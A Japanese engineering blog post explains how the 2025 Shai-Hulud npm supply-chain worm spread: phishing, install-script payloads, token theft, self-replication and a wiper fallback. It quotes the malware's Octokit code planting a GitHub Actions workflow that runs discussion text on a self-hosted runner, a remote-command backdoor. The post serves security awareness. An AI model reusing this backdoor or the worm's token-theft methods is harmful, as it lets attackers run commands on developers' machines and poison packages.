Webエンジニアの森重です。
近年、AIコーディングツールの普及や自動化によって、私たちの開発環境は劇的に進化しました。
AIの提案に沿って爆速でコードを書き、必要なパッケージを瞬時にインストールする そんな開発スタイルが当たり前になりつつあります。
しかし、この「開発の高速化・自動化」という便利さが攻撃者にとって好都合な環境であり、私たちが信頼して使用しているツールやパッケージそのものが悪意ある攻撃のバックドアにされてしまうリスクが身近になってきました。
そこで今回は、昨年(2025年)話題となり、コミュニティを震撼させたShai-Huludサプライチェーン攻撃にフォーカスし、【Webエンジニアなら知っておきたい!npmサプライチェーン攻撃「Shai-Hulud」について】と題して、どのような攻撃手法や経路で感染が拡大していったのかをアウトプットしていこうと思います。
私たちの開発環境に潜むリスクを知るきっかけになれば幸いです。
npmサプライチェーン攻撃とは
npmパッケージのインストールや更新を悪用して、開発者の環境で悪意あるコードを実行させる攻撃です。
攻撃者は正規のパッケージを乗っ取ったり、名前が似た悪意あるパッケージを公開したりして、npm installの実行時にマルウェアを仕込みます。
サプライチェーン攻撃は以下の2つの手法を組み合わせて成立します。
悪意ある依存の注入 : 正規パッケージの依存先に悪意あるパッケージを追加し、間接的にマルウェアをインストールさせる
ライフサイクルスクリプトの悪用 : 注入されたパッケージのpostinstallスクリプトで悪意あるコードを実行し、npm installだけでマルウェアを起動させる
Shai-Huludとは
パッケージ管理システムnpmを狙った「自己複製ワーム型マルウェア(self-replicating worm)」 由来はSF小説「Dune」に出てくるサンドワーム「Shai-Hulud(シャイ・フルード)」です。
Shai-Huludが生まれたきっかけ
Wiz Research assesses this campaign is directly downstream of the late-August 2025 s1ngularity/Nx compromise (initial GitHub token theft to npm token theft to mass package poisoning)
— Shai-Hulud: Ongoing Package Supply Chain Worm Delivering Data-Stealing Malware
s1ngularity攻撃にてNxと呼ばれる開発環境を管理するツールからnpmトークン・GitHubトークンを取得し、そこからShai-Huludが生まれたとのことです。
※ s1ngularity(シンギュラリティ)について詳しく知りたい方は下記記事を参照下さい。
従来の攻撃との違い
単発的な攻撃・侵害に留まらず、感染→自己複製して拡散→再利用→拡散とワームのように動作して増殖していく所が大きな違いです。
The attack is accelerating at ~1,000 new repos every 30 minutes Newly compromised packages continue to surface, many containing files tied directly to this activity.
— Shai-Hulud 2.0 Supply Chain Attack: 25K+ Repos Exposing Secrets
30分ごとに約1000件のリポジトリが感染されるという報告が挙がってます。
どのようにShai-Huludが攻撃するか

出典:Wiz Blog - Shai-Hulud npm Supply Chain Attack
Shai-Huludの攻撃は、下記の流れで実行されます。
① 開発者アカウントの乗っ取り(認証情報盗用)
攻撃者はフィッシングによって、npmパッケージ管理者の認証情報(npmトークンやGitHubアカウント情報)を盗み、「MFA設定を更新する必要がある」というようなnpmを装った偽メールでパッケージ管理者に認証情報を入力させ、信頼できるパッケージへの有効な公開アクセス権を獲得。 あるいはCI/CDのランナーやビルド環境に潜在する認証キー(クラウド/GitHub/npmなど)を不正に取得します。
② マルウェア化されたパッケージの公開
乗っ取ったアカウントを使い、開発者が公開していた既存/新規のnpmパッケージを改ざんし、悪意のあるスクリプトを埋め込んで、改ざん済みバージョンをnpmレジストリに公開します。
典型的な手法は、パッケージのインストール時に自動で実行されるpreinstall / postinstallスクリプトです。
例えばnpm install <パッケージ名>を実行した時に、そのパッケージに仕込まれたpreinstall / postinstall が 即自動実行され悪意のあるコードが動き出す仕組み。
③ 認証情報や秘密情報の収集
実行された悪意のあるスクリプトは、環境変数、設定ファイル、CI/CDの設定などをスキャンし、npmトークン、GitHub個人アクセストークン(PAT)、クラウドAPIキー(AWS/GCP/Azureなど)を探し出して盗み取ります。 またソースコード内に残された古いシークレットや環境変数なども横断的に探す(あるいは暴露する)ようなスキャンを実行するケースもあります。
④ 情報の外部送信・リークとバックドアの構築
盗んだ認証情報・鍵は、攻撃者が管理するリポジトリ(例えばGitHub)へ自動で送られ、公開リポジトリにそのままアップされます。 さらにCI/CDの自動ビルド(例えばGitHub Actions) に対するバックドアを仕込み、不正ワークフローや不正ランナーを設定→改ざんや追加マルウェアの注入を継続できるようになります。
マルウェアは、JavaScript用のGitHub APIクライアントである Octokit を悪用し、裏で以下のコードを実行してリポジトリの main ブランチに .github/workflows/discussion.yaml というファイルを強制的に書き込みます。
await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
'owner': _0x349291,
'repo': _0x2b1a39,
'path': ".github/workflows/discussion.yaml",
'message': "Add Discusion",
'content': Buffer.from("\nname: Discussion Create\non:\n discussion:\njobs:\n process:\n env:\n RUNNER_TRACKING_ID: 0\n runs-on: self-hosted\n steps:\n - uses: actions/checkout@v5\n - name: Handle Discussion\n run: echo ${{ github.event.discussion.body }}\n").toString("base64"),
'branch': 'main'
});
↓contentに記載あるBase64の文字をデコードした結果
name: Discussion Create
on:
discussion:
jobs:
process:
env:
RUNNER_TRACKING_ID: 0
runs-on: self-hosted # 被害者のPC(セルフホストランナー)で動かす
steps:
- uses: actions/checkout@v5
- name: Handle Discussion
# ディスカッションの本文をそのまま実行する
run: echo ${{ github.event.discussion.body }}
マルウェアは事前に、感染した被害者のマシンを攻撃者側のセルフホストランナー(SHA1HULUD)として勝手に登録しています。その後、攻撃者がブラウザからリポジトリのDiscussion(github.event.discussion.body)に悪意あるコマンドを書き込んで投稿すると、インジェクション脆弱性によって、感染した開発者のPC上でそのコマンドがそのまま実行されてしまいます。
ここが図で言う、Remote Controlの由縁かなと思います。
⑤ 自己複製と他パッケージへの拡散
盗んだnpmトークン/認証情報を使って、被害者が所有・管理する他のnpmパッケージを次々と再発行し、改ざん済みバージョンを公開。人の手を介さず自動的に感染が広がるという、ワーム (worm) 的な挙動で被害を拡大する。 この性質により、1つの感染が数百〜数千のパッケージ・リポジトリを次々と巻き込み、サプライチェーン全体への広範囲な影響を起こす。
⑥ 破壊的なフォールバック
GitLabの報告では、もし認証情報を盗んだり流出や拡散が失敗した場合、被害者のホームディレクトリ (ユーザー領域)にある書き込み可能ファイルを削除(ワイプ)する破壊機能 (デッドマン・スイッチ)を持っていた可能性があるとのこと。
典型的な手法は、パッケージのインストール時に自動で実行されるpreinstall / postinstallスクリプトです。
個人的にpreinstallのスクリプトで「setup_bun.js 」や 「bun_environment.js」が実行されるのですが、命名上環境をセットアップするようなスクリプトだと思いスルーしそうですが、蓋を開けると難読化や暗号化されている悪意のあるスクリプトという所が嫌らしいなと思いました。
まとめ
調べていく中で、感染経路に npm、攻撃に使うツールや窃取した情報の送り先に GitHub、二つへの経路が断たれたらローカルファイルの削除と、開発インフラを悪用しつつ、ローカルファイルをメチャクチャにすると宣伝することで、感染後の対策を躊躇させてさらに被害を広げようとする、非常に考えられたマルウェアだと思いました。
最近だと、「Mini Shai-Hulud」と呼ばれるソフトウェアサプライチェーン攻撃があり今後もこの波は続きそうだなと感じています。いちエンジニアとして、セキュリティのキャッチアップは引き続きしていきたいなと思いました。
参考情報
- Shai-Hulud: Ongoing Package Supply Chain Worm Delivering Data-Stealing Malware
- Shai-Hulud 2.0 Supply Chain Attack: 25K+ Repos Exposing Secrets
- s1ngularity: supply chain attack leaks secrets on GitHub: everything you need to know
- Shai Hulud Launches Second Supply-Chain Attack
- GitLabがnpmサプライチェーンへの大規模攻撃を発見
- 【npm】11月21日以降にnpm installした人へ - Shai-Hulud感染チェック & 多層防御ガイド